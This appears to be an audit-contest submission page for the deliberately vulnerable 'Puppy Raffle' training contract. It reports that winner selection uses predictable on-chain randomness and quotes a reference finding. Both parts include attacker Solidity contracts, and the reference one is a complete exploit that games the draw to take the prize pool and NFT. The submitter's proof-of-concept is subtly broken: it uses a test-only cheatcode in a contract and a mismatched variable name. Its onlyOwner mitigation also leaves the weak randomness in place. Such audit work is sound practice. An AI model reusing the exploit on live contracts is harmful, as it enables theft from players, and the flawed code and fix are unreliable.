Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak randomness

notaltera

Weak randomness in PuppyRaffle::selectWinner external fuction

Description

winnerIndex is chosen through a series of a hash from on-chain data.

uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

This seemingly random way of picking a winner is not safe

Risk

Likelihood:

When a malicious player sees that the raffle is unfavorable for him

Impact:

core protocol randomness is manipulated

Proof of Concept

The following is a contract can be used to manipulate the winner

Attacker's contract
contract Manipulator {
PuppyRaffle raffle;
​
uint256 maliciousPLayer = 5;
​
constructor(address _raffleAddress) {
raffle = PuppyRaffle(_raffleAddress);
}
​
function getPlayerLength() public view returns(uint256) { // <== this method can be done off-chain
return uint256(vm.load(address(raffle), bytes32(uint256(0)))); // <== Load the length from the storage slot
}
​
function manipulate() external { // <== attackers keep calling this function until he wins.
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % getPlayerLength();
​
require(raffle.players(winnerIndex) == address(maliciousIndexPlayer), "Not winner"); // <== made sure that the players is the one that is the winner the moment this function is called
raffle.selectWinner();
}
}

The attacker can use private Flashbots mempool to bid the highest gas to get the priority in calling the PuppyRaffle::selectWinner function.

The raffle itself is fine as long as the attacker uses honest open mempool and frontrun bots can call PuppyRaffle::selectWinner function first before the attacker could call it at the right time.

But, an attacker would of course used a privae mmempool like Flashbots, and hid his high gas bidding cost so a frontrun bots couldn't detect it and recall with a higher gas bid.

Recommended Mitigation

Put an access control on the function that allowed only the owner to call it

- function selectWinner() external {
+ function selectWinner() external onlyOwner{
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
​
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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